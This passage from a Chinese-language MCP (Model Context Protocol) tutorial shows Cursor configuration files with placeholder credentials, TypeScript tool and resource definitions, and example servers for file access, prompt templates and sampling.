"SLACK_BOT_TOKEN": "xoxb-your-slack-token"
}
},
// ============================================
// 企业级自定义Servers
// ============================================
"company-docs": {
"command": "node",
"args": [
"/path/to/company-mcp-server/dist/index.js"
],
"env": {
"API_BASE_URL": "https://api.company.com",
"API_KEY": "your-company-api-key"
}
}
}
}
项目级MCP配置:
// .cursor/mcp.json - 项目级MCP配置(推荐)
{
"mcpServers": {
// 项目专用的Servers
"project-files": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "./"],
"env": {}
},
// 仅本项目使用的数据库
"project-db": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-postgres"
],
"env": {
"POSTGRES_HOST": "localhost",
"POSTGRES_PORT": "5432",
"POSTGRES_DATABASE": "project_dev",
"POSTGRES_USER": "dev",
"POSTGRES_PASSWORD": "dev123"
}
},
// 公司内部服务
"internal-api": {
"command": "node",
"args": ["./mcp/internal-api-server/dist/index.js"],
"env": {
"INTERNAL_API_URL": "https://internal.company.com/api/v2",
"INTERNAL_API_KEY": "internal-key-xxx"
}
}
}
}
验证MCP配置:
# 在Cursor终端中测试MCP连接
cursor --mcp-list
# 预期输出示例:
# ✓ filesystem: 已连接 (5个工具可用)
# ✓ github: 已连接 (8个工具可用)
# ✓ jina-search: 已连接 (2个工具可用)
# ✓ project-db: 已连接 (12个工具可用)
2.5.4 MCP工具定义结构详解
MCP协议使用JSON Schema来定义工具的结构,这种声明式的方式让AI模型能够自动理解和调用工具。
工具定义完整结构:
/**
* MCP工具定义的完整TypeScript类型
*/
/**
* JSON Schema基础类型
*/
interface JSONSchema {
/** 类型定义 */
type?: 'string' | 'number' | 'boolean' | 'object' | 'array' | 'null';
/** 详细描述 */
description?: string;
/** 格式校验 */
format?: 'date-time' | 'date' | 'time' | 'email' | 'uri' | 'uuid';
/** 默认值 */
default?: unknown;
/** 可能的枚举值 */
enum?: unknown[];
/** 对象属性定义 */
properties?: Record<string, JSONSchema>;
/** 是否必需 */
required?: string[];
/** 数组项类型 */
items?: JSONSchema;
/** 最小值 */
minimum?: number;
/** 最大值 */
maximum?: number;
/** 最小长度 */
minLength?: number;
/** 最大长度 */
maxLength?: number;
/** 正则表达式校验 */
pattern?: string;
/** 数组最小长度 */
minItems?: number;
/** 数组最大长度 */
maxItems?: number;
/** 允许额外属性 */
additionalProperties?: boolean | JSONSchema;
/** 联合类型 */
anyOf?: JSONSchema[];
/** 对象引用 */
$ref?: string;
}
/**
* MCP工具定义
*/
interface Tool {
/** 工具唯一名称(AI调用时使用) */
name: string;
/** 人类可读的描述(帮助AI理解工具用途) */
description: string;
/** 输入参数JSON Schema定义 */
inputSchema: JSONSchema;
/** 工具元数据(可选) */
metadata?: {
/** 所属分类 */
category?: string;
/** 标签 */
tags?: string[];
/** 废弃标记 */
deprecated?: boolean;
/** 替代工具 */
replacement?: string;
/** 示例使用 */
examples?: Array<{
description: string;
input: Record<string, unknown>;
}>;
};
}
/**
* 工具定义示例 - 文件读取工具
*/
const readFileTool: Tool = {
name: 'read_file',
description: '读取指定路径的文件内容。对于大文件,系统会自动截断到合适的大小。',
inputSchema: {
type: 'object',
properties: {
path: {
type: 'string',
description: '要读取的文件绝对路径',
pattern: '^/|^[A-Z]:\\\\',
},
options: {
type: 'object',
properties: {
encoding: {
type: 'string',
description: '文件编码,默认utf-8',
enum: ['utf-8', 'base64', 'hex'],
default: 'utf-8',
},
maxBytes: {
type: 'number',
description: '最大读取字节数,防止内存溢出',
minimum: 1,
maximum: 10485760, // 10MB
default: 1048576, // 1MB
},
position: {
type: 'number',
description: '开始读取的字节偏移量',
minimum: 0,
default: 0,
},
},
required: [],
},
},
required: ['path'],
additionalProperties: false,
},
metadata: {
category: 'filesystem',
tags: ['file', 'read', 'io'],
examples: [
{
description: '读取项目配置文件',
input: { path: '/project/config.json' },
},
{
description: '读取二进制文件(Base64)',
input: { path: '/project/image.png', options: { encoding: 'base64' } },
},
],
},
};
/**
* 工具定义示例 - GitHub搜索代码工具
*/
const searchCodeTool: Tool = {
name: 'search_code',
description: '在GitHub仓库中搜索代码。搜索会覆盖所有公开仓库和已授权的私有仓库。',
inputSchema: {
type: 'object',
properties: {
q: {
type: 'string',
description: '搜索查询语句,支持GitHub高级搜索语法',
examples: [
'MCP protocol language:TypeScript',
'read_file path:src stars:>100',
'function filename:index.ts',
],
},
per_page: {
type: 'number',
description: '每页结果数量',
minimum: 1,
maximum: 100,
default: 30,
},
page: {
type: 'number',
description: '结果页码(从1开始)',
minimum: 1,
default: 1,
},
},
required: ['q'],
},
metadata: {
category: 'github',
tags: ['search', 'code', 'github'],
},
};
/**
* 工具定义示例 - 数据库查询工具
*/
const queryDatabaseTool: Tool = {
name: 'query_database',
description: '执行SQL查询并返回结果。仅支持SELECT语句,拒绝其他SQL操作以确保安全。',
inputSchema: {
type: 'object',
properties: {
query: {
type: 'string',
description: 'SQL查询语句(必须是SELECT语句)',
pattern: '^\\s*SELECT\\s',
},
params: {
type: 'array',
description: '查询参数(用于预处理语句)',
items: {
type: ['string', 'number', 'boolean', 'null'],
},
},
timeout: {
type: 'number',
description: '查询超时时间(毫秒)',
minimum: 1000,
maximum: 60000,
default: 30000,
},
},
required: ['query'],
additionalProperties: false,
},
metadata: {
category: 'database',
tags: ['sql', 'database', 'query'],
},
};
JSON Schema约束验证器:
import { z } from 'zod';
/**
* Zod到JSON Schema转换器
* 用于自动生成MCP兼容的工具定义
*/
function zodToJsonSchema(schema: z.ZodType): JSONSchema {
const typeMap = {
string: 'string',
number: 'number',
boolean: 'boolean',
bigint: 'number',
date: 'string',
buffer: 'string',
undefined: 'null',
null: 'null',
array: 'array',
object: 'object',
} as const;
// 处理基础类型
if (schema instanceof z.ZodString) {
return { type: 'string' };
}
if (schema instanceof z.ZodNumber) {
return { type: 'number' };
}
if (schema instanceof z.ZodBoolean) {
return { type: 'boolean' };
}
if (schema instanceof z.ZodArray) {
return {
type: 'array',
items: zodToJsonSchema(schema.element),
};
}
if (schema instanceof z.ZodObject) {
const properties: Record<string, JSONSchema> = {};
const required: string[] = [];
for (const [key, value] of Object.entries(schema.shape)) {
properties[key] = zodToJsonSchema(value);
if (!value.isOptional()) {
required.push(key);
}
}
return {
type: 'object',
properties,
required: required.length > 0 ? required : undefined,
};
}
// 未知类型返回空对象
return { type: 'object' };
}
/**
* 使用Zod定义工具并自动生成JSON Schema
*/
function defineTool<T extends z.ZodType>(
name: string,
description: string,
schema: T
): { name: string; description: string; inputSchema: JSONSchema } {
return {
name,
description,
inputSchema: zodToJsonSchema(schema),
};
}
// 示例:使用Zod定义工具
const readFileToolDefinition = defineTool(
'read_file',
'读取文件内容',
z.object({
path: z.string().describe('文件路径'),
encoding: z.enum(['utf-8', 'base64']).default('utf-8'),
})
);
// 生成的JSON Schema:
// {
// name: 'read_file',
// description: '读取文件内容',
// inputSchema: {
// type: 'object',
// properties: {
// path: { type: 'string' },
// encoding: { type: 'string', enum: ['utf-8', 'base64'], default: 'utf-8' }
// },
// required: ['path']
// }
// }
三、主要功能详解
MCP协议定义了四大核心功能模块,这四个模块共同构成了AI Agent与外部世界交互的完整能力体系。
3.1 功能全景图
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP 四大核心功能模块 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────┐ ┌─────────────────┐ │
│ │ 资源管理 │ │ 提示模板 │ │
│ │ Resources │ │ Prompts │ │
│ ├─────────────────┤ ├─────────────────┤ │
│ │ │ │ │ │
│ │ • 静态资源 │ │ • 系统提示 │ │
│ │ • 动态资源 │ │ • 任务模板 │ │
│ │ • 资源订阅 │ │ • 参数化生成 │ │
│ │ • 版本管理 │ │ • 上下文注入 │ │
│ │ │ │ │ │
│ └────────┬────────┘ └────────┬────────┘ │
│ │ │ │
│ │ ┌────────────────┤ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────────────────┐ ┌─────────────────┐ │
│ │ 工具调用 │ │ 采样 │ │
│ │ Tools │ │ Sampling │ │
│ ├─────────────────┤ ├─────────────────┤ │
│ │ │ │ │ │
│ │ • 声明式定义 │ │ • Server生成 │ │
│ │ • 参数验证 │ │ • LLM调用 │ │
│ │ • 结果格式化 │ │ • 灵活生成 │ │
│ │ • 错误处理 │ │ • 上下文感知 │ │
│ │ │ │ │ │
│ └─────────────────┘ └─────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
3.2 资源管理(Resources)
资源是MCP中用于提供静态或动态数据的机制,类似于传统API中的GET端点,但具有更强的元数据描述能力和订阅支持。
3.2.1 资源类型
/**
* 资源类型分类
*/
enum ResourceType {
/** 静态资源 - 不经常变化的数据 */
STATIC = 'static',
/** 动态资源 - 实时生成的数据 */
DYNAMIC = 'dynamic',
/** 可变资源 - 支持变更通知 */
MUTABLE = 'mutable',
/** 版本化资源 - 带有版本跟踪 */
VERSIONED = 'versioned',
}
/**
* 资源定义
*/
interface Resource {
/** 资源URI,唯一标识 */
uri: string;
/** 资源名称 */
name: string;
/** 资源描述 */
description: string;
/** MIME类型 */
mimeType: string;
/** 资源类型 */
type: ResourceType;
/** 是否支持变更通知 */
subscribable?: boolean;
/** 资源大小(字节) */
size?: number;
/** 创建时间 */
createdAt?: string;
/** 最后修改时间 */
updatedAt?: string;
}
/**
* 资源内容
*/
interface ResourceContent {
/** 资源URI */
uri: string;
/** MIME类型 */
mimeType: string;
/** 文本内容(二选一) */
text?: string;
/** 二进制内容(二选一) */
blob?: string; // Base64编码
/** 内容版本(用于缓存验证) */
etag?: string;
}
3.2.2 资源Server实现
/**
* 资源管理Server示例 - 配置服务
*/
class ConfigResourceServer extends BaseMCPServer {
private config: Record<string, unknown>;
constructor() {
super({
name: 'config-resource-server',
version: '1.0.0',
transport: 'stdio',
verbose: true,
});
this.config = this.loadDefaultConfig();
// 注册所有资源
this.registerResources();
}
/**
* 加载默认配置
*/
private loadDefaultConfig(): Record<string, unknown> {
return {
app: {
name: 'MyApp',
version: '1.0.0',
environment: process.env.NODE_ENV || 'development',
},
features: {
darkMode: true,
notifications: true,
analytics: false,
},
limits: {
maxFileSize: 10 * 1024 * 1024, // 10MB
maxRequestSize: 5 * 1024 * 1024, // 5MB
rateLimit: 100,
},
};
}
/**
* 注册所有资源
*/
private registerResources() {
// 注册应用配置资源
this.registerResource(
'config://app',
'应用配置',
'获取当前应用程序的完整配置信息',
'application/json',
async () => {
return JSON.stringify(this.config, null, 2);
}
);
// 注册功能开关资源
this.registerResource(
'config://features',
'功能开关',
'获取所有功能开关的当前状态',
'application/json',
async () => {
return JSON.stringify(this.config.features, null, 2);
}
);
// 注册单个功能配置
this.registerResource(
'config://features/{featureName}',
'单个功能配置',
'获取指定功能的详细配置',
'application/json',
async ({ featureName }: { featureName: string }) => {
const feature = this.config.features?.[featureName];
if (feature === undefined) {
throw new Error(`功能 '${featureName}' 不存在`);
}
return JSON.stringify({ name: featureName, ...feature as object }, null, 2);
}
);
// 注册系统状态资源
this.registerResource(
'config://system/status',
'系统状态',
'获取系统当前运行状态',
'application/json',
async () => {
return JSON.stringify({
uptime: process.uptime(),
memory: process.memoryUsage(),
cpu: process.cpuUsage(),
timestamp: new Date().toISOString(),
}, null, 2);
}
);
// 注册资源变更订阅处理器
this.registerResourceSubscription();
}
/**
* 注册资源变更订阅
*/
private registerResourceSubscription() {
// 设置资源更新通知处理器
this.server.setRequestHandler(
{ method: 'resources/subscribe' },
async ({ params }) => {
console.log(`订阅资源: ${params.uri}`);
// 实际实现中,这里会注册一个监听器
// 当资源变更时发送通知
return { acknowledged: true };
}
);
// 取消订阅处理器
this.server.setRequestHandler(
{ method: 'resources/unsubscribe' },
async ({ params }) => {
console.log(`取消订阅: ${params.uri}`);
return { acknowledged: true };
}
);
}
}
3.3 工具调用(Tools)
工具是MCP最核心的功能,它允许AI模型执行实际操作。工具通过JSON Schema定义输入参数,AI模型可以自动发现和调用。
3.3.1 工具定义规范
/**
* 工具定义接口
*/
interface Tool {
/** 工具唯一名称 */
name: string;
/** 工具描述 - AI模型据此决定何时调用 */
description: string;
/** 输入参数JSON Schema */
inputSchema: JSONSchema;
/** 工具元数据(可选) */
metadata?: {
/** 工具版本 */
version?: string;
/** 工具作者 */
author?: string;
/** 标签分类 */
tags?: string[];
/** 示例调用 */
examples?: Array<{
description: string;
arguments: Record<string, unknown>;
}>;
/** 权限要求 */
requiredPermissions?: string[];
/** 资源消耗估算 */
estimatedCost?: {
tokens?: number;
time?: number; // 毫秒
};
};
}
/**
* 工具调用请求
*/
interface ToolCallRequest {
/** 请求ID */
id: string | number;
/** 工具名称 */
name: string;
/** 调用参数 */
arguments: Record<string, unknown>;
/** 调用上下文 */
context?: {
/** 调用来源 */
caller?: string;
/** 会话ID */
sessionId?: string;
/** 追踪ID */
traceId?: string;
};
}
/**
* 工具调用结果
*/
interface ToolResult {
/** 结果内容 */
content: Array<{
/** 内容类型 */
type: 'text' | 'image' | 'resource';
/** 文本内容 */
text?: string;
/** 图片数据 */
image?: {
/** 图片MIME类型 */
mimeType: string;
/** Base64编码的图片数据 */
data: string;
};
/** 资源引用 */
resource?: {
/** 资源URI */
uri: string;
/** MIME类型 */
mimeType: string;
};
}>;
/** 是否为错误 */
isError?: boolean;
/** 错误信息(如果isError为true) */
error?: {
code: string;
message: string;
details?: unknown;
};
/** 附加元数据 */
meta?: {
/** 执行时间(毫秒) */
duration?: number;
/** 工具版本 */
version?: string;
/** 下一个预期输入(用于表单交互) */
nextInput?: Record<string, unknown>;
};
}
3.3.2 完整的工具Server实现
import { z } from 'zod';
import * as fs from 'fs/promises';
import * as path from 'path';
/**
* 企业级文件系统MCP Server
*
* 完整实现包含:
* - 多种文件操作工具
* - 完整的安全检查
* - 错误处理和日志
* - 进度跟踪
*/
class EnterpriseFileSystemServer extends BaseMCPServer {
/** 工作根目录 */
private rootPath: string;
/** 允许的文件扩展名(空表示全部允许) */
private allowedExtensions: string[];
/** 最大文件大小(字节) */
private maxFileSize: number;
/** 操作超时(毫秒) */
private operationTimeout: number;
constructor(options: {
rootPath?: string;
allowedExtensions?: string[];
maxFileSize?: number;
timeout?: number;
} = {}) {
super({
name: 'enterprise-filesystem',
version: '1.0.0',
transport: 'stdio',
verbose: true,
});
this.rootPath = path.resolve(options.rootPath || process.cwd());
this.allowedExtensions = options.allowedExtensions || [];
this.maxFileSize = options.maxFileSize || 100 * 1024 * 1024; // 默认100MB
this.operationTimeout = options.timeout || 30000; // 默认30秒
this.registerTools();
}
/**
* 注册所有文件操作工具
*/
private registerTools() {
// ============================================
// 工具1:读取文件
// ============================================
this.registerTool(
'read_file',
`读取指定路径的文件内容。适用于:
- 查看源代码文件
- 读取配置文件
- 获取文档内容
- 分析文本数据
注意:
- 文件必须在工作目录内(路径遍历会被阻止)
- 大文件会自动截断到安全限制
- 二进制文件会返回错误提示`,
z.object({
path: z.string().describe('要读取的文件路径(相对于工作目录)'),
encoding: z.enum(['utf-8', 'ascii', 'base64']).default('utf-8')
.describe('文件编码格式'),
lines: z.number().optional().describe('最大读取行数(用于大文件)'),
offset: z.number().optional().describe('跳过的行数'),
}),
async ({ path: filePath, encoding, lines, offset }) => {
// 安全检查
const fullPath = this.resolveSecurePath(filePath);
// 验证文件存在
await this.assertFileExists(fullPath);
// 读取文件
let content: string;
if (encoding === 'base64') {
const buffer = await fs.readFile(fullPath);
content = buffer.toString('base64');
} else {
let fileContent = await fs.readFile(fullPath, encoding);
// 处理行数限制
if (lines !== undefined || offset !== undefined) {
const allLines = fileContent.split('\n');
const startLine = offset || 0;
const endLine = lines !== undefined ? startLine + lines : allLines.length;
fileContent = allLines.slice(startLine, endLine).join('\n');
if (endLine < allLines.length) {
fileContent += `\n\n... (省略了 ${allLines.length - endLine} 行)`;
}
}
content = fileContent;
}
return {
content: [{ type: 'text', text: content }],
};
}
);
// ============================================
// 工具2:写入文件
// ============================================
this.registerTool(
'write_file',
`创建新文件或覆盖已有文件。适用于:
- 保存代码修改
- 创建配置文件
- 生成报告文档
- 写入用户数据
注意:
- 父目录不存在时会自动创建
- 大文件写入需要更长时间
- 覆盖操作不可撤销`,
z.object({
path: z.string().describe('要写入的文件路径'),
content: z.string().describe('文件内容'),
encoding: z.enum(['utf-8', 'ascii', 'base64']).default('utf-8'),
createDirectories: z.boolean().default(true)
.describe('父目录不存在时是否创建'),
}),
async ({ path: filePath, content, encoding, createDirectories }) => {
const fullPath = this.resolveSecurePath(filePath);
// 确保目录存在
if (createDirectories) {
const dir = path.dirname(fullPath);
await fs.mkdir(dir, { recursive: true });
}
// 检查文件大小
if (Buffer.byteLength(content, encoding) > this.maxFileSize) {
return {
content: [{ type: 'text', text: `错误:文件大小超过限制(${this.maxFileSize}字节)` }],
isError: true,
};
}
// 写入文件
await fs.writeFile(fullPath, content, encoding);
return {
content: [{
type: 'text',
text: `文件已成功写入: ${filePath}\n大小: ${Buffer.byteLength(content, encoding)} 字节`,
}],
};
}
);
// ============================================
// 工具3:列出目录
// ============================================
this.registerTool(
'list_directory',
`列出目录中的所有文件和子目录。适用于:
- 浏览项目结构
- 查找特定文件
- 了解目录组织
返回文件类型、大小和修改时间信息。`,
z.object({
path: z.string().describe('目录路径'),
recursive: z.boolean().default(false)
.describe('是否递归列出子目录'),
includeHidden: z.boolean().default(false)
.describe('是否包含隐藏文件(以.开头的文件)'),
pattern: z.string().optional()
.describe('文件过滤模式(glob)'),
}),
async ({ path: dirPath, recursive, includeHidden, pattern }) => {
const fullPath = this.resolveSecurePath(dirPath);
// 验证目录存在
await this.assertDirectoryExists(fullPath);
// 列出目录
const entries = await this.listDirectoryRecursive(
fullPath,
recursive,
includeHidden
);
// 应用过滤模式
let filteredEntries = entries;
if (pattern) {
filteredEntries = this.filterByPattern(entries, pattern);
}
// 格式化输出
const formatted = filteredEntries.map(entry => ({
name: entry.name,
type: entry.isDirectory ? 'directory' : 'file',
size: entry.size,
modified: entry.modified?.toISOString(),
path: entry.relativePath,
}));
return {
content: [{
type: 'text',
text: JSON.stringify(formatted, null, 2),
}],
};
}
);
// ============================================
// 工具4:搜索文件
// ============================================
this.registerTool(
'search_files',
`在目录中搜索匹配的文件。适用于:
- 查找特定类型的文件(如.ts、.js)
- 按文件名模式搜索
- 批量处理匹配的文件`,
z.object({
pattern: z.string().describe('搜索模式(支持glob:*.ts, **/*.js等)'),
directory: z.string().default('.')
.describe('搜索的起始目录'),
caseSensitive: z.boolean().default(false)
.describe('是否区分大小写'),
maxResults: z.number().default(100)
.describe('最大返回结果数'),
}),
async ({ pattern, directory, caseSensitive, maxResults }) => {
const fullPath = this.resolveSecurePath(directory);
const results = await this.globSearch(fullPath, pattern, {
caseSensitive,
maxResults,
});
return {
content: [{
type: 'text',
text: JSON.stringify({
pattern,
directory,
totalMatches: results.length,
files: results,
}, null, 2),
}],
};
}
);
// ============================================
// 工具5:获取文件信息
// ============================================
this.registerTool(
'get_file_info',
`获取文件的详细元数据信息。适用于:
- 检查文件是否存在
- 获取文件大小
- 查看修改时间
- 了解文件类型`,
z.object({
path: z.string().describe('文件路径'),
includeHash: z.boolean().default(false)
.describe('是否计算文件哈希'),
}),
async ({ path: filePath, includeHash }) => {
const fullPath = this.resolveSecurePath(filePath);
await this.assertFileExists(fullPath);
const stats = await fs.stat(fullPath);
const info: Record<string, unknown> = {
path: filePath,
name: path.basename(filePath),
extension: path.extname(filePath),
size: stats.size,
sizeFormatted: this.formatSize(stats.size),
isFile: stats.isFile(),
isDirectory: stats.isDirectory(),
created: stats.birthtime.toISOString(),
modified: stats.mtime.toISOString(),
accessed: stats.atime.toISOString(),
permissions: this.formatPermissions(stats.mode),
};
if (includeHash) {
const content = await fs.readFile(fullPath);
const crypto = await import('crypto');
info.sha256 = crypto.createHash('sha256').update(content).digest('hex');
}
return {
content: [{ type: 'text', text: JSON.stringify(info, null, 2) }],
};
}
);
}
// ============================================
// 安全检查方法
// ============================================
/**
* 安全路径解析
*
* 防止路径遍历攻击:
* - 将相对路径解析为绝对路径
* - 验证结果路径在根目录内
* - 规范化路径(处理..、.等)
*/
private resolveSecurePath(relativePath: string): string {
// 解析为绝对路径
const absolutePath = path.resolve(this.rootPath, relativePath);
// 规范化路径
const normalizedPath = path.normalize(absolutePath);
// 安全检查:确保路径在根目录内
if (!normalizedPath.startsWith(this.rootPath)) {
throw new Error(
`路径遍历攻击检测:路径 "${relativePath}" 超出工作目录范围`
);
}
return normalizedPath;
}
/**
* 验证文件存在
*/
private async assertFileExists(filePath: string): Promise<void> {
try {
const stats = await fs.stat(filePath);
if (!stats.isFile()) {
throw new Error(`"${filePath}" 不是文件`);
}
} catch (error: any) {
if (error.code === 'ENOENT') {
throw new Error(`文件不存在: "${filePath}"`);
}
throw error;
}
}
/**
* 验证目录存在
*/
private async assertDirectoryExists(dirPath: string): Promise<void> {
try {
const stats = await fs.stat(dirPath);
if (!stats.isDirectory()) {
throw new Error(`"${dirPath}" 不是目录`);
}
} catch (error: any) {
if (error.code === 'ENOENT') {
throw new Error(`目录不存在: "${dirPath}"`);
}
throw error;
}
}
/**
* 递归列出目录
*/
private async listDirectoryRecursive(
dirPath: string,
recursive: boolean,
includeHidden: boolean
): Promise<Array<{
name: string;
relativePath: string;
isDirectory: boolean;
size?: number;
modified?: Date;
}>> {
const results: Array<{
name: string;
relativePath: string;
isDirectory: boolean;
size?: number;
modified?: Date;
}> = [];
const entries = await fs.readdir(dirPath, { withFileTypes: true });
for (const entry of entries) {
// 跳过隐藏文件
if (!includeHidden && entry.name.startsWith('.')) {
continue;
}
const fullPath = path.join(dirPath, entry.name);
const relativePath = path.relative(this.rootPath, fullPath);
if (entry.isDirectory() && recursive) {
results.push({
name: entry.name,
relativePath,
isDirectory: true,
});
// 递归处理子目录
const subResults = await this.listDirectoryRecursive(
fullPath,
recursive,
includeHidden
);
results.push(...subResults);
} else {
const stats = await fs.stat(fullPath);
results.push({
name: entry.name,
relativePath,
isDirectory: entry.isDirectory(),
size: stats.size,
modified: stats.mtime,
});
}
}
return results;
}
/**
* 格式化文件大小
*/
private formatSize(bytes: number): string {
const units = ['B', 'KB', 'MB', 'GB', 'TB'];
let unitIndex = 0;
let size = bytes;
while (size >= 1024 && unitIndex < units.length - 1) {
size /= 1024;
unitIndex++;
}
return `${size.toFixed(2)} ${units[unitIndex]}`;
}
/**
* 格式化权限
*/
private formatPermissions(mode: number): string {
const permissions = ['---', '--x', '-w-', '-wx', 'r--', 'r-x', 'rw-', 'rwx'];
let result = '';
// Owner
result += permissions[(mode >> 6) & 0x7];
// Group
result += permissions[(mode >> 3) & 0x7];
// Others
result += permissions[mode & 0x7];
return result;
}
/**
* glob模式匹配
*/
private filterByPattern(
entries: Array<{ name: string }>,
pattern: string
): Array<{ name: string }> {
// 简单的glob实现
const regexPattern = pattern
.replace(/\./g, '\\.')
.replace(/\*/g, '.*')
.replace(/\?/g, '.');
const regex = new RegExp(`^${regexPattern}$`);
return entries.filter(entry => regex.test(entry.name));
}
/**
* glob搜索
*/
private async globSearch(
rootPath: string,
pattern: string,
options: { caseSensitive: boolean; maxResults: number }
): Promise<string[]> {
const results: string[] = [];
const regexPattern = pattern
.replace(/\./g, '\\.')
.replace(/\*/g, '.*')
.replace(/\?/g, '.');
const regex = new RegExp(`^${regexPattern}$`);
await this.globSearchRecursive(rootPath, rootPath, regex, results, options);
return results.slice(0, options.maxResults);
}
private async globSearchRecursive(
dirPath: string,
rootPath: string,
regex: RegExp,
results: string[],
options: { caseSensitive: boolean; maxResults: number }
): Promise<void> {
if (results.length >= options.maxResults) {
return;
}
const entries = await fs.readdir(dirPath, { withFileTypes: true });
for (const entry of entries) {
if (results.length >= options.maxResults) {
break;
}
const fullPath = path.join(dirPath, entry.name);
if (entry.isDirectory()) {
await this.globSearchRecursive(
fullPath,
rootPath,
regex,
results,
options
);
} else if (regex.test(entry.name)) {
results.push(path.relative(rootPath, fullPath));
}
}
}
}
// 启动服务器
const server = new EnterpriseFileSystemServer({
rootPath: process.cwd(),
maxFileSize: 50 * 1024 * 1024, // 50MB限制
});
server.start().catch(console.error);
3.4 提示模板(Prompts)
提示模板允许Server预定义可复用的提示词,支持参数化生成,帮助AI模型保持一致的交互模式。
3.4.1 提示模板定义
/**
* 提示模板定义
*/
interface Prompt {
/** 模板唯一名称 */
name: string;
/** 模板描述 */
description: string;
/** 参数定义 */
arguments: Array<{
/** 参数名称 */
name: string;
/** 参数描述 */
description: string;
/** 是否必需 */
required: boolean;
/** 参数类型 */
type: 'string' | 'number' | 'boolean' | 'object';
/** 默认值 */
default?: unknown;
}>;
}
/**
* 提示消息
*/
interface PromptMessage {
/** 角色 */
role: 'user' | 'assistant';
/** 内容 */
content: Array<{
/** 内容类型 */
type: 'text' | 'image' | 'resource';
/** 文本内容 */
text?: string;
/** 图片数据 */
image?: {
mimeType: string;
data: string;
};
/** 资源引用 */
resource?: {
uri: string;
};
}>;
}
3.4.2 提示模板Server实现
/**
* 代码审查提示模板Server
*/
class CodeReviewPromptServer extends BaseMCPServer {
constructor() {
super({
name: 'code-review-prompts',
version: '1.0.0',
transport: 'stdio',
});
this.registerPrompts();
}
/**
* 注册代码审查相关的提示模板
*/
private registerPrompts() {
// 模板1:代码审查
this.registerPrompt(
'code_review',
'生成代码审查提示词,用于分析代码质量、安全性和性能',
[
{
name: 'language',
description: '编程语言',
required: true,
},
{
name: 'focus',
description: '审查重点(security/performance/readability/best_practices)',
required: false,
},
{
name: 'context',
description: '代码上下文说明',
required: false,
},
],
async ({ language, focus, context }) => {
const focusInstructions = {
security: '重点关注安全漏洞:SQL注入、XSS、CSRF、密码存储、权限控制等。',
performance: '重点关注性能问题:算法复杂度、数据库查询、缓存使用、内存泄漏等。',
readability: '重点关注代码可读性:命名规范、注释完整性、函数长度、复杂度等。',
best_practices: '重点关注最佳实践:设计模式、 SOLID原则、测试覆盖、错误处理等。',
};
const focusInstruction = focus
? focusInstructions[focus as keyof typeof focusInstructions]
: '全面审查代码质量、安全性、性能和可维护性。';
const contextInstruction = context
? `\n额外上下文:${context}`
: '';
return [
{
role: 'user',
content: [
{
type: 'text',
text: `请审查以下${language}代码:
${focusInstruction}
${contextInstruction}
请提供:
1. 总体评价
2. 发现的问题(按严重程度分类)
3. 改进建议
4. 代码评分(1-10)
待审查代码:
{{code}}`,
},
],
},
];
}
);
// 模板2:代码解释
this.registerPrompt(
'explain_code',
'生成代码解释提示词,用于详细解释复杂代码逻辑',
[
{
name: 'detail_level',
description: '解释详细程度(brief/standard/detailed)',
required: false,
},
],
async ({ detail_level = 'standard' }) => {
const detailInstructions = {
brief: '提供简洁的核心逻辑说明,控制在100字以内。',
standard: '提供中等详细度的解释,包括主要逻辑和关键概念。',
detailed: '提供极其详细的解释,逐行分析,包括边界情况和潜在问题。',
};
return [
{
role: 'user',
content: [
{
type: 'text',
text: `请解释以下代码的功能和工作原理:
详细程度:${detailInstructions[detail_level as keyof typeof detailInstructions] || detailInstructions.standard}
请包括:
1. 功能概述
2. 核心逻辑
3. 关键变量和函数的作用
4. 输入输出
5. 可能的边界情况
待解释代码:
{{code}}`,
},
],
},
];
}
);
// 模板3:提交信息生成
this.registerPrompt(
'generate_commit_message',
'根据代码变更生成规范的Git提交信息',
[
{
name: 'type',
description: '提交类型(feat/fix/docs/style/refactor/test/chore)',
required: false,
},
{
name: 'include_scope',
description: '是否包含影响范围',
required: false,
},
],
async ({ type, include_scope = true }) => {
const typeDescriptions: Record<string, string> = {
feat: '新功能',
fix: '错误修复',
docs: '文档更新',
style: '代码格式调整(不影响功能)',
refactor: '代码重构',
test: '添加或修改测试',
chore: '构建或辅助工具变更',
};
const typeList = Object.entries(typeDescriptions)
.map(([t, desc]) => `- ${t}: ${desc}`)
.join('\n');
const scopeInstruction = include_scope
? '- 影响范围(模块或组件名)'
: '';
return [
{
role: 'user',
content: [
{
type: 'text',
text: `请根据以下代码变更生成规范的Git提交信息。
提交类型:
${typeList}
${scopeInstruction}
- 简短描述(50字以内)
- 详细描述(可选,说明为什么和怎么做)
生成格式(Conventional Commits):
\`\`\`
<type>${include_scope ? '<(scope)>' : ''}: <short description>
<optional body>
\`\`\`
代码变更:
{{diff}}`,
},
],
},
];
}
);
}
}
3.5 采样(Sampling)
采样是MCP 2025版本引入的高级功能,允许Server主动请求LLM生成内容,这是实现自主Agent的关键能力。
3.5.1 采样工作原理
┌─────────────────────────────────────────────────────────────────────────┐
│ Sampling 工作流程 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ MCP Server MCP Host │
│ │ │ │
│ │ 1. 发送sampling/createMessage │ │
│ │ ─────────────────────────────────▶ │
│ │ │ │
│ │ ▼ │
│ │ ┌─────────────┐ │
│ │ │ LLM模型 │ │
│ │ │ │ │
│ │ │ Claude/GPT │ │
│ │ │ /Gemini │ │
│ │ └──────┬──────┘ │
│ │ │ │
│ │ 2. 返回LLM响应 │ │
│ │ ◀───────────────────────────────── │
│ │ │ │
│ ▼ ▼ │
│ ┌─────────────┐ │
│ │ 处理生成内容 │ │
│ │ - 存储 │ │
│ │ - 显示 │ │
│ │ - 进一步处理│ │
│ └─────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
3.5.2 采样Server实现
/**
* 智能研究Agent - 展示采样能力
*
* 使用采样功能实现:
* - 自动生成搜索查询
* - 总结研究结果
* - 规划下一步行动
*/
class ResearchAgentServer extends BaseMCPServer {
private searchResults: Array<{ title: string; content: string }> = [];
constructor() {
super({
name: 'research-agent',
version: '1.0.0',
transport: 'stdio',
verbose: true,
});
this.registerTools();
this.registerSamplingHandler();
}
/**
* 注册采样处理器
*
* 采样允许Server主动调用LLM进行内容生成
*/
private registerSamplingHandler() {
this.server.setRequestHandler(
{ method: 'sampling/createMessage' },
